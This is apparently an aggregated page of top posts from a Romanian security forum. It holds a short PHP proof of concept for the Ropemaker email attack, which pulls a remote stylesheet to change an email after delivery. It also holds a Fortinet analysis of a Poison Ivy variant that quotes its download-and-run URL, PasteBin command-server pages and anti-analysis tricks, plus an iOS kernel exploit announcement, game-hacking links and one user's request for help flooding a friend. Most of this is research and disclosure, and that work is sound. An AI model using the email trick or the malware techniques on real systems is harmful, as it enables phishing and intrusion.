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  1. QuoVadis
    Jeg. Sper sa se tavaleasca in chinuri. @aelius - respectivii se pare ca nu sunt interesati, arde-l pe jegos.
    4 points
  2. Nytro
    ./ban
    3 points
  3. Dragos
    M-am jucat în ultimele ore cu ropemaker şi pot să zic că nu este cine ştie ce. POC: <?php $to = "destinatar@site.tld"; $subject = "ropemaker vulnerability"; $message =<<<START <html> <head> <style type="text/css">@import "http://link_catre_extern/style.css"</style> </head> <body> I heard you are a <span id="content"></span> boy </body> </html> START; $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-Transfer-Encoding: quoted-printable\r\nContent-Type: text/html; charset=UTF-8\r\n"; mail($to,$subject,$message,$headers); În fişierul CSS avem aşa: #content:after { content:"good"; } După trimiterea mailului, se poate modifica fişierul css pentru a adăuga altceva (ex. bad). Din punctul meu de vedere, vulnerabilitatea este doar o problemă la nivelul programatorilor care au creat aplicaţiile şi nu ştiu să baneze importul de fişiere CSS din extern. Sunt foarte puţine aplicaţii care nu blochează spreadsheet-urile (vulnerabilitatea mi-a mers doar pe Outlook pe Android), deci, într-o lună, două, ar trebui să avem update-uri de securitate pe ele şi ropemaker să fie de domeniul trecutului.
    3 points
  4. spider
    Asta e săgeată...
    3 points
  5. Nytro
    My little sister's phone got stolen/lost a week ago. Yesterday, I got a strange text. Today, I peaked! (source) 6 days My little sister who is going to be a senior worked hard all summer to buy an iPhone, only to have it stolen (or fall out, she is still not entirely sure) out of her boyfriends car a week ago. She had not activated the find my iphone app so we reported it stolen but were pretty sure someone was just being gifted a free iphone courtesy of my sister's summer wages. On top of that, she had also bought a wallet case and lost all her ID's and cards as well. So yesterday I get this text from a strange number. I give my sister a quick call to make sure it is not her and effectively realize someone is fishing through her contacts or documents to get her password. I am well aware after the WTH that his is not my sister BTW. I was bored so I say to myself, why not have some fun. We will never get the phone back, but what the heck, might as well kill some time. I am certain that his or her insistence will at the very least make this an lengthy exchange. I'm convinced this person is humoring me and just stringing me along until I cave. No one can be buying this! .... Again, I am thinking, he is humoring me but I was like, let's see how long this lasts until he stops texting me back. AVERY FTW!!!! My sister got an email this morning. I have peaked! Behold! Sursa: https://imgur.com/r/funny/USjnb Nu stiu daca e real, dar e interesanta ideea.
    2 points
  6. Nytro
    The Ultimate Online Game Hacking Resource A curated list of tutorials/resources for hacking online games! From dissecting game clients to cracking network packet encryption, this is a go-to reference for those interested in the topic of hacking online games. I'll be updating this list whenever I run across excellent resources, so be sure to Watch/Star it! If you know of an excellent resource that isn't yet on the list, feel free to email it to me for consideration. Blog Posts, Articles, and Presentations Title/Link Description KeyIdentity's Pwn Adventure 3 Blog Series A series of blog posts detailing various approaches to hacking Pwn Adventure 3. How to Hack an MMO An article from 2014 providing general insight into hacking an online game. Reverse Engineering Online Games - Dragomon Hunter An in-depth tutorial showing how to reverse engineer online games via the game Dragomon Hunter. Hacking/Exploiting/Cheating in Online Games (PDF) A presentation from 2013 that delves deeply into hacking online games, from defining terminology to providing code examples of specific hacks. Hacking Online Games A presentation from 2012 discussing various aspects of hacking online games. For 20 Years, This Man Has Survived Entirely by Hacking Online Games A hacker says he turned finding and exploiting flaws in popular MMO video games into a lucrative, full-time, job. Hackers in Multiplayer Games A Reddit post discussing hacking in multiplayer games. Reverse Engineering Network Protocols A very helpful comment from a Reddit post inquiring about reversing network protocols. Deciphering MMORPG Protocol Encoding An informative discussion from a question on Stack Overflow. Reverse Engineering of a Packet Encryption Function of a Game An informative discussion from a question on StackExchange. Videos Title/Link Description How to Hack Local Values in Browser-Based Games with Cheat Engine This video teaches you how to find and change local values (which might appear as server-based values) in browser-based games. Reverse-Engineering a Proprietary Game Server with Erlang This talk details advantages Erlang has over other languages for reverse engineering protocols and analyzing client files. A live demo showcasing some of these tools and techniques is also given. DEFCON 19: Hacking MMORPGs for Fun and Mostly Profit This talk presents a pragmatic view of both threats and defenses in relating to hacking online games. Books Title/Link Description Game Hacking Game Hacking shows programmers how to dissect computer games and create bots. Attacking Network Protocols Attacking Network Protocols is a deep-dive into network vulnerability discovery. Practical Packet Analysis, 3rd Edition Practical Packet Analysis, 3rd Ed. teaches you how to use Wireshark for packet capture and analysis. Exploiting Online Games: Cheating Massively Distributed Systems This book takes a close look at security problems associated with advanced, massively distributed software in relation to video games. Online Game Hacking Forums Title/Link Description Guided Hacking Discussion of multiplayer and single-player game hacks and cheats. UnKnoWnCheaTs Forum Discussion of multiplayer game hacks and cheats. MPGH (Multi-Player Game Hacking) Forum Discussion of multiplayer game hacks and cheats. ElitePVPers Discussion of MMO hacks, bots, cheats, guides and more. OwnedCore An MMO gaming community for guides, exploits, trading, hacks, model editing, emulation servers, programs, bots and more. Sursa: https://github.com/dsasmblr/hacking-online-games/
    1 point
  7. Fi8sVrs
    Security researchers are warning of a new, easy-to-exploit email trick that could allow an attacker to turn a seemingly benign email into a malicious one after it has already been delivered to your email inbox. Dubbed Ropemaker (stands for Remotely Originated Post-delivery Email Manipulation Attacks Keeping Email Risky), the trick was uncovered by Francisco Ribeiro, the researcher at email and cloud security firm Mimecast. A successful exploitation of the Ropemaker attack could allow an attacker to remotely modify the content of an email sent by the attacker itself, for example swapping a URL with the malicious one. This can be done even after the email has already been delivered to the recipient and made it through all the necessary spam and security filters, without requiring direct access to the recipient’s computer or email application, exposing hundreds of millions of desktop email client users to malicious attacks. Ropemaker abuses Cascading Style Sheets (CSS) and Hypertext Markup Language (HTML) that are fundamental parts of the way information is presented on the Internet. Since CSS is stored remotely, researchers say an attacker can change the content of an email through remotely initiated changes made to the desired 'style' of the email that is then retrieved remotely and presented to the user, without the recipient, even tech savvy users, knowing about it. According to the researchers, the Ropemaker attack could be leveraged depending upon the creativity of the threat actors. For instance, attackers could replace a URL that originally directed the user to a legitimate website by a malicious one that sends the user to a compromised site designed to infect users with malware or steal sensitive info, such as their credentials and banking details. While some systems are designed to detect the URL switch preventing users from opening up the malicious link, other users could be left at a security risk. Another attack scenario, called "Matrix Exploit" by the Mimecast, is more sophisticated than the "Switch Exploit", and therefore much harder to detect and defend against. In a Matrix Exploit attack, attackers would write a matrix of text in an email and then use the remote CSS to selectively control what is displayed, allowing the attacker to display whatever they want—including adding malicious URLs into the body of the email. This attack is harder to defend against because the initial email received by the user does not display any URL, most software systems will not flag the message as malicious. Although the security firm has not detected the Ropemaker attack in the wild, it believes that this doesn't mean for sure the attack is "not being used somewhere outside the view of Mimecast." According to the security firm, Ropemaker could be used by hackers to bypass most common security systems and trick even the tech savvy users into interacting with a malicious URL. To protect themselves from such attacks, users are recommended to rely on web-based email clients like Gmail, iCloud and Outlook, which aren't affected by Ropemaker-style CSS exploits, according to Mimecast. However, email clients like the desktop and mobile version of Apple Mail, Microsoft Outlook, and Mozilla Thunderbird are all vulnerable to the Ropemaker attack. Via https://thehackernews.com/2017/08/change-email-content.html
    1 point
  8. Nytro
    Deep Analysis of New Poison Ivy Variant by Xiaopeng Zhang | Aug 23, 2017 | Filed in: Security Research Recently, the FortiGuard Labs research team observed that a new variant of Poison Ivy was being spread through a compromised PowerPoint file. We captured a PowerPoint file named Payment_Advice.ppsx, which is in OOXML format. Once the victim opens this file using the MS PowerPoint program, the malicious code contained in the file is executed. It downloads the Poison Ivy malware onto the victim’s computer and then launches it. In this blog, I’ll show the details of how this happens, what techniques are used by this malware, as well as what it does to the victim’s computer. The PowerPoint Sample Figure 1 shows a screenshot of when the ppsx file is opened. Figure 1. Open Payment_Advice.ppsx As you can see, the ppsx file is played automatically. The “ppsx” extension stands for “PowerPoint Show,” which opens the file in presentation mode. This allows the malicious code to be executed automatically. The warning message box alerts the user that it might run an unsafe external program. Usually, the implied content of the document beguiles the user into pressing the Enable button. Let’s take a look at the malicious code embedded inside this PowerPoint file. OOXML file is a zip format file. By decompressing this file we can see the file/folder structure, shown below. Figure 2. PPSX file structure Going into its .\ppt\slides\ subfolder, slide1.xml is the slide automatically shown in Figure 1. The file “.\_rels\slide1.xml.rels” is the relationship file where the resources used in slide1.xml are defined. In slide1.xml, I found the xml code: . This means that when the user's mouse hovers over this element, something named “rId2” in slide1.xml.rels file is executed. Figure 3 shows the relationship between them. Figure 3. The code defined in “rId2” Being Added into the Startup Group The code defined in “rId2” uses an echo command of cmd.exe to output vbs codes into the Thumbs.vbs file in the “Startup” folder of the Start menu. This allows the Thumbs.vbs file to be executed when the victim’s system starts. We’ll take a look at the content of this Thumb.vbs file below. Figure 4. Thumb.vbs in the Startup folder and its content The Downloaded File Thumbs.vbs downloads a file from hxxp://203.248.116.182/images/Thumbs.bmp and runs it using msiexec.exe. As you may know, msiexec.exe is the Microsoft Windows Installer program, which is the default handler of .MSI files. Msiexec.exe can be used to install/uninstall/update software on Windows. The MSI file is an Installer Package. It contains a PE file (in a stream) that is executed when it’s loaded by msiexec.exe. This PE file could be replaced with malware to bypass any AV software detection. We have also observed that more and more malware authors have started using this method to run their malware. The MSI file is in the Microsoft OLE Compound File format. In Figure 5 we can see the downloaded Thumbs.bmp file content in the DocFile Viewer. Figure 5. The downloaded Thumb.bmp in DocFile viewer Next, I’m going to extract this PE file from the stream into a file (exported_thumbs). By checking with a PE analysis tool, we can see that it’s a 64-bit .Net program. This means that this malware only afftects 64bit Windows. Analyzing the .Net code and Running It After putting this extracted file into dnSpy to be analyzed, we can see the entry function Main(), as shown in Figure 6. Figure 6. Main function It then calls the rGHDcvkN.Exec() function in Main(), which contains a huge array. Actually, the data in the array is the code that is executed as a thread function by a newly-created thread. Figure 7 clearly shows how the code in the array is executed. Figure 7. .Net program runs a thread to execute the code in a huge array If the code is run on a 64-bit platform, IntPtr.Size is 8. So the huge array is passed to array3. It then allocates memory buffer by calling rGHDcvkN.VirtualAlloc() and copies the code from array3 into the new memory by calling Marshal.Copy(). It eventually calls rGHDcvkN.CreateThread() to run the code up. I started the .Net program in the debugger, and set a breakpoint on CreateThread API to see what the array code would do when it’s hit. Per my analysis of the array code, it is a kind of loader. Its main purpose is to dynamically load the main part of the malware code from the memory space into a newly-allocated memory buffer. It then repairs any relocation issues according to the new base address and repairs APIs’ offset for the main part code. Finally, the main code’s entry function is called. Anti-Analysis Techniques All APIs are hidden. They are restored when being called. The snippet below is the hidden CreateRemoteThread call. sub_1B0E6122 proc near mov rax, 0FFFFFFFF88E23B10h neg rax jmp rax ;; CreateRemoteThread sub_1B0E6122 endp All strings are encrypted. They are decrypted before using. For example, this is the encrypted “ntdll” string. unk_1AFD538C db 54h, 0B2h, 9Bh, 0F1h, 47h, 0Ch ; ==> "ntdll" It runs a thread (I named it ThreadFun6) to check if the API has been set as a breakpoint. If yes, it calls TerminateProcess in another thread to exit the process immediately. The thread function checks all APIs in the following modules: “ntdll”, “kernel32”, “kernelbase” and “user32”. In Figure 8, you can see how this works: Figure 8. Checking for breakpoints on exported APIs in “ntdll” It runs a thread to check if any analysis tools are running. It does this by creating specially named pipes that are created by some analysis tools. For example, “\\.\Regmon” for registry monitor tool RegMon; “\\.\FileMon” for local file monitor tool FileMon; “\\.\NTICE” for SoftIce, so on. If one of the named pipes cannot be created, it means one of the analysis tools is running. It then exits process soon thereafter. It then goes through all the running program windows to check if any windows class name contains a special string to determine if an analysis tool is running. For example, “WinDbgFrameClass” is Windbg main window’s class name. This check runs in a thread as well (I named it as Threadfun3). Below, Figure 9 shows how this thread function works. Figure 9. Check Windows’ Class Name By checking to see if the “Wireshark-is-running-{…}” named mutex object exists (by calling OpenMutex), it could implement anti-WireShark. By calling the API “IsDebuggerPresent”, it can check to see ] if this process is running in a debugger (returns with 1). It’s a kind of anti-debugging check. It also checks how much time is spent by calling IsDebuggerPresent. If the time is more than 1000ms, it means that the process runs in a debugger or VM, and it then exits the process. These are all the ways that this malware performs anti-analysis. Most of these checks run in their own threads, and are called every second. It then exits the process if any check is matched. To continue the analysis of this malware, we have to first skip these checks. We can dynamically modify its code to do so. For example, changing “IsDebuggerPresent”’s return value as 0 allows us to bypass the running-in-debugger detection. Generating A Magic String from a Decrypted String By decrypting three strings and putting them together, we get the magic string "Poison Ivy C++", which will be saved in a global variable qword_1B0E4A10. From the code snippet below you can see how it makes this string. Figure 10. Generating the magic string Hiding Key-functions in Six Different Modules It next loads several modules from its encrypted data. It creates a doubly-linked list, which is used to save and manage these loaded modules. There are many export functions from each of these modules that achieve the malware’s main work. In this way, it’s also a challenge for dynamic debugging. The variable qword_1AFE45D0 saves the header of that doubly-linked list. Each object in the list has the structure below: +00H pointer to previous object in the list +08H pointer to next object in the list +18H for Critical Section object use +28H the base address of the module this object is related to +30H pointer to export function table It then decrypts and decompresses six modules one by one, and adds each of them into the doubly-linked list. Figure 11 shows a code snippet from decrypting these six modules. Figure 11. Decrypting and decompressing modules Each module has an Initialization function (like DllMain function for Dll files) that is called once the module is completely decrypted and decompressed. Three of these modules have an anti-analysis ability similar to the one I described in the Anti-Analysis section above. So to continue the analysis of this malware, I needed to modify their codes to bypass their detection function. After that it calls the export functions of those modules. It decrypts the configuration data from the buffer at unk_1AFE3DA0. This configuration data is decrypted many times during the process running, and it tells the malware how to work. I’ll talk more about the configuration data in a later section. The malware then picks a string from the configuration data, which is “%windir%\system32\svchost.exe”. It later calls CreatProcess to run svchost.exe, and then injects some code and data from malware memory into the newly-created svchost.exe. It finally calls the injected code and exits its current process. The malware’s further work is now done in the svchost.exe side. Starting over in SVCHOST.exe Through my analysis I could see that the injected codes and data represent the entire malware. It all starts over again in the svchost.exe process. Everything I have reviewed about is repeated in svchost.exe. For example, executing the anti-analysis detection code, getting the magic string, creating a doubly-linked list, decrypting six modules and adding them into the doubly-linked list, and so on. It then goes to different code branch when executing the instruction 01736C2 cmp dword ptr [rdi+0Ch], 1 in module2. [rdi+0ch] is a flag that was passed when the entire code was initialized. When the flag is 0, it takes the code branch to run svchost.exe and inject code in it; when it’s 1, it takes the code branch to connect to the C&C server. Before the injected code in svchost.exe is executed, the flag is set to 1. Figure 12 shows the code branches. Figure 12. Snippet of code branches Obtaining the C&C Server from PasteBin The C&C server’s IP addresses and ports are encrypted and saved on the PasteBin website. PasteBin is a text code sharing website. A registered user can paste text code on it in order to share the text content to everyone. The malware author created 4 such pages, and put the C&C server IP addresses and ports there. Do you remember when I talked previously about encrypted configuration data? It contains the 4 PasteBin URLs. They are hxxps://pastebin.com/Xhpmhhuy hxxps://pastebin.com/m3TPwxQs hxxps://pastebin.com/D8A2azM8 hxxps://pastebin.com/KQAxvdvJ Figure 13 shows the decrypted configuration data. Figure 13. Decrypted configuration data If you access any one of these URLs, you will find there are normal Python codes on it. The encrypted server IP address and port are hidden in the normal python code. Let’s take a look. While looking at the main function you will find the code below: win32serviceutil.HandleCommandLine({65YbRI+gEtvlZpo0qw6CrNdWDoev}), the data between “{“ and “}”, is the encrypted IP address and port. See Figure 14 for more information. Figure 14. Encrypted C&C IP address and Port on PasteBin Let’s see what we can see after decryption in Figure 15. Figure 15. Decrypted IP address and Port From Figure 15, we can determine that the decrypted C&C server IP address is 172.104.100.53 and the Port is 1BBH i.e. 443. It should be noted that the IP addresses and Ports on the four pages are not the same. The author of this malware can update these IP addresses and Ports by simply updating the python codes on the four PasteBin pages. Communicating with the C&C server The malware starts connecting and sending data to its C&C server once it gets the IP address and Port. All the packets traveling between the malware and its server are encrypted using a private algorithm. The structure of the packet is like this: (the first 14H bytes is the header part, from 14H on is the data part) +00 4 bytes are a key for encryption or decryption. +04 4 byte, are the packet command. +0c 4 bytes is the length in bytes of the data portion of the packet. +14 4 bytes. From this point on is the real data. Once the malware has connected to the server, it first sends a “30001” command, and the server replies with command “30003”. The command “30003” requests the client to collect the victim’s system information. Once the malware receives this command, it calls tons of APIs to collect the system information. It gathers the system's current usage of both physical and virtual memory by calling GlobalmemoryStatusEx. It gets the CPU speed from the system registry from “HKLM\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0\~MHz". It gets the free disk space of all partitions by calling GetDiskFreeSpaceExA. It gets the CPU architecture by calling GetNativeSysstemInfo. It collects display settings by calling EnumDisplaySetting. It collects file information from kernel32.dll. It gets the current computer name and user name by calling GetComputerName and GetUserName. It also gets the System time by calling GetSystemTime, and the system version by calling GetVersionEx. Finally, it copies the svchost.exe’s full path and a constant string, “PasteBin83”, which is from the decrypted configuration data (see Figure 13 again). In Figure 16 you can see the collected system information before encryption. Figure 17 shows the data after encryption as it’s about to be sent to the C&C server. The first four bytes are used to encrypt or decrypt the following data. Figure 16. Collected information from the victim’s system Figure 17. Encrypted system information from victim’s system From my analysis during the malware runtime, I could determine that the malware keeps obtaining the C&C server’s IP address from PasteBin and communicating with the C&C server in an infinite loop (by calling Sleep(1000) to suspend the execution). So far, I only saw that the commands “030001” and “030003” are used. I’ll continue to monitor and analyze the malware’s behavior to see what else it will do. Solution The FortiGuard Antivirus service has detected the files "Payment_Advice.ppsx" as MSOFFICE/PoisonIvy.A!tr.dldr and "Thumbs.bmp" as MSOFFICE/PoisonIvy.A!tr. IOC URL: hxxp://203.248.116.182/images/Thumbs.bmp Sample SHA-256 hashes: Payment_Advice.ppsx E7931270A89035125E6E6655C04FEE00798C4C2D15846947E41DF6BBA36C75AE Thumbs.bmp A3E8ECF21D2A8046D385160CA7E291390E3C962A7107B06D338C357002D2C2D9 by Xiaopeng Zhang | Aug 23, 2017 | Filed in: Security Research Sursa: https://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant
    1 point
  9. Nytro
    ziVA: Zimperium’s iOS Video Audio Kernel Exploit Adam Donenfeld Aug 23 2017 Following my previous post, I’m releasing ziVA: a fully chained iOS kernel exploit that (should) work on all the iOS devices running iOS 10.3.1 or earlier. The exploit itself consists of multiple vulnerabilities that were discovered all in the same module: AppleAVEDriver. The exploit will be covered in depth in my HITBGSEC talk held on August 25th. For those of you who are not interested in iOS research and would like to protect themselves against these vulnerabilities, we urge you to update your iOS device to the latest version. Without an advanced mobile security and mitigation solution on the device (such as Zimperium zIPS), there’s little chance a user would notice any malicious or abnormal activity. The POC is released for educational purposes and evaluation by IT Administrators and Pentesters alike, and should not be used in any unintended way. The CVEs explanations, as written by Apple, can be found here. iOS vulnerabilities discovered and reported to Apple AVEVideoEncoder Available for: iPhone 5 and later, iPad 4th generation and later, and iPod touch 6th generation Impact: An application may be able to gain kernel privileges Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2017-6989: Adam Donenfeld (@doadam) of the Zimperium zLabs Team CVE-2017-6994: Adam Donenfeld (@doadam) of the Zimperium zLabs Team CVE-2017-6995: Adam Donenfeld (@doadam) of the Zimperium zLabs Team CVE-2017-6996: Adam Donenfeld (@doadam) of the Zimperium zLabs Team CVE-2017-6997: Adam Donenfeld (@doadam) of the Zimperium zLabs Team CVE-2017-6998: Adam Donenfeld (@doadam) of the Zimperium zLabs Team CVE-2017-6999: Adam Donenfeld (@doadam) of the Zimperium zLabs Team IOSurface Available for: iPhone 5 and later, iPad 4th generation and later, and iPod touch 6th generation Impact: An application may be able to gain kernel privileges Description: A race condition was addressed through improved locking. CVE-2017-6979: Adam Donenfeld (@doadam) of the Zimperium zLabs Team I will provide an in depth analysis of the vulnerabilities and exploitation techniques at HITBGSEC. After the conference, I will publish the rest of the disclosures as well as my slides and whitepaper. A brief description of one of the vulnerabilities, CVE-2017-6979: The function IOSurfaceRoot::createSurface is responsible for the creation of the IOSurface object. It receives an OSDictionary, which it forwards to the function IOSurface::init. IOSurface::init parses the properties and in case one of these are invalid (e.g, a width that exceeds 32 bits), returns 0, and the creation of the IOSurface is halted. The IOSurfaceRoot object must hold a lock while calling IOSurface::init because IOSurface::init adds the IOSurface object to the IOSurfaceRoot’s list of surfaces. Here’s the code that used to call IOSurface::init before Apple’s fix: surface = (IOSurface *)OSMetaClass::allocClassWithName(“IOSurface”); IORecursiveLockLock(provider->iosurface_array_lock); if ( !surface ) { IORecursiveLockUnlock(provider->iosurface_array_lock); return 0; } init_ret_code = surface->init(surface, provider, task_owner, surface_data); /* At this point, the surfaces’ list is unlocked, and an invalid IOSurface object is in the list */ IORecursiveLockUnlock(provider->iosurface_array_lock);if ( !init_ret_code ) { surface->release(surface); return 0; } In case the IOSurface::init function fails, IORecursiveLockUnlock will be called. A bogus IOSurface object will still be in the system and in the IOSurfaceRoot’s list of surfaces (thus accessible to everyone). At this particular moment, an attacker can increase the refcount of the IOSurface (creating, for instance, an IOSurfaceSendRight object attached to the surface) and prevent the bogus IOSurface object from being destroyed. This leads to the creation and existence of an IOSurface in the kernel which the attacker controls its properties (IOSurface->width = -1 for example). Such an IOSurface object can be given to other mechanisms in the kernel which might rely on a valid width/height/one of the properties to work, thus causing heap overflows/other problems that might lead to an elevation of privileges by the attacker. Our proposed solution to Apple was to call IOSurface::release while the lock provider->iosurface_array_lock is still held. Therefore moving the IORecursiveLockUnlock call just below IOSurface::release and putting it after the entire if statement would fix the problem because the IOSurfaceRoot’s list of surfaces will only be available once the bogus IOSurface is already cleaned up. Further reverse engineering of the function reveals that Apple changed the code according to our suggestions: surface = (IOSurface *)OSMetaClass::allocClassWithName(“IOSurface”); IORecursiveLockLock(provider->iosurface_array_lock); if ( !surface ) { IORecursiveLockUnlock(provider->iosurface_array_lock); return 0; } init_ret_code = surface->init(surface, provider, task_owner, surface_data);if ( !init_ret_code ) { surface->release(surface); /* Here our bad surface is freed *before* the kernel unlocks the surfaces’ list, Hence our bad surface is not accessible at anytime in case IOSurface::init fails. */ IORecursiveLockUnlock(provider->iosurface_array_lock); return 0; } IORecursiveLockUnlock(provider->iosurface_array_lock); The issues are severe and could lead to a full device compromise. The vulnerabilities ultimately lead to an attacker with initial code execution to fully control any iOS device on the market prior to version 10.3.2. Fortunately, we responsibly disclosed these bugs to Apple and a proper fix was coordinated. iOS users that update their device to the latest iOS version should be protected. We discovered more vulnerabilities, and the written exploit POC didn’t take advantage of CVE-2017-6979! The vulnerabilities used for the POC will be covered in depth. We plan to release the security advisories as we sent them to Apple right after my talk at HITBGSEC Zimperium’s patented machine-learning technology, z9, detects the exploitation of this vulnerability. We recommend to strengthen iOS security using a solution like Zimperium zIPS. Powered by z9, zIPS offers protection against known and unknown threats targeting Apple iOS and Google Android devices. z9 has detected every discovered exploit over the last five years without requiring updates. The exploit source code is available here. Disclosure timeline: 24/01/2017 – First Bug discovered 20/03/2017 – Shared bugs with Apple 29/03/2017 – Apple confirmed the bugs 15/05/2017 – Apple distributed patches I would like to thank Apple for their quick and professional response, Zuk Avraham (@ihackbanme) and Yaniv Karta (@shokoluv) that helped in the process. Sursa: https://blog.zimperium.com/ziva-video-audio-ios-kernel-exploit/
    1 point
  10. osirium
    Leveraging Duo Security’s Default Configuration to Bypass Two-Factor Authentication " Few things are more frustrating as an attacker than running up against widely implemented two-factor authentication (2FA). Even with valid credentials, without a valid two-factor authentication code or push acknowledgement, logging in to a protected service and abusing its capabilities or harvesting information isn’t possible. But what if instead of attacking the application, we first attacked how the two-factor authentication was implemented? In this blog post, we’ll discuss how one particular 2FA solution – by Duo Security – can have its default configuration leveraged to allow a log in without 2FA and how to mitigate against this tactic. " Source: https://appsecconsulting.com/blog/leveraging-duo-securitys-default-configuration-to-bypass-two-factor-authent
    1 point
  11. spider
    Vinzi cu picior cu tot ?
    1 point
  12. asswipe
    Magnificent app which corrects your previous console command https://github.com/nvbn/thefuck
    1 point
  13. Sochu
    Nytro,vreau sa ii dau flood unui prieten care m-a enervat si vreau o razbunare calumea
    1 point
  14. ramonnst
    Salutare, Daca sunteti interesati de Retelistica va invit sa urmariti aceste tutoriale si sa aplicati conceptele prin laboratoarele incluse [1] https://www.youtube.com/channel/UCVJZsdei_i2G3ZimBzqcmeg [2] https://ramonnastase.ro Spor la treaba !
    1 point
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